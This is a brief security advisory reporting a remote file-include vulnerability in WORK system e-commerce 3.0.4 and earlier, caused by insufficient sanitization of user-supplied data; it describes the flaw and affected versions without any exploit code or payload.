WORK system e-commerce is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WORK system e-commerce 3.0.4 and prior versions are vulnerable.
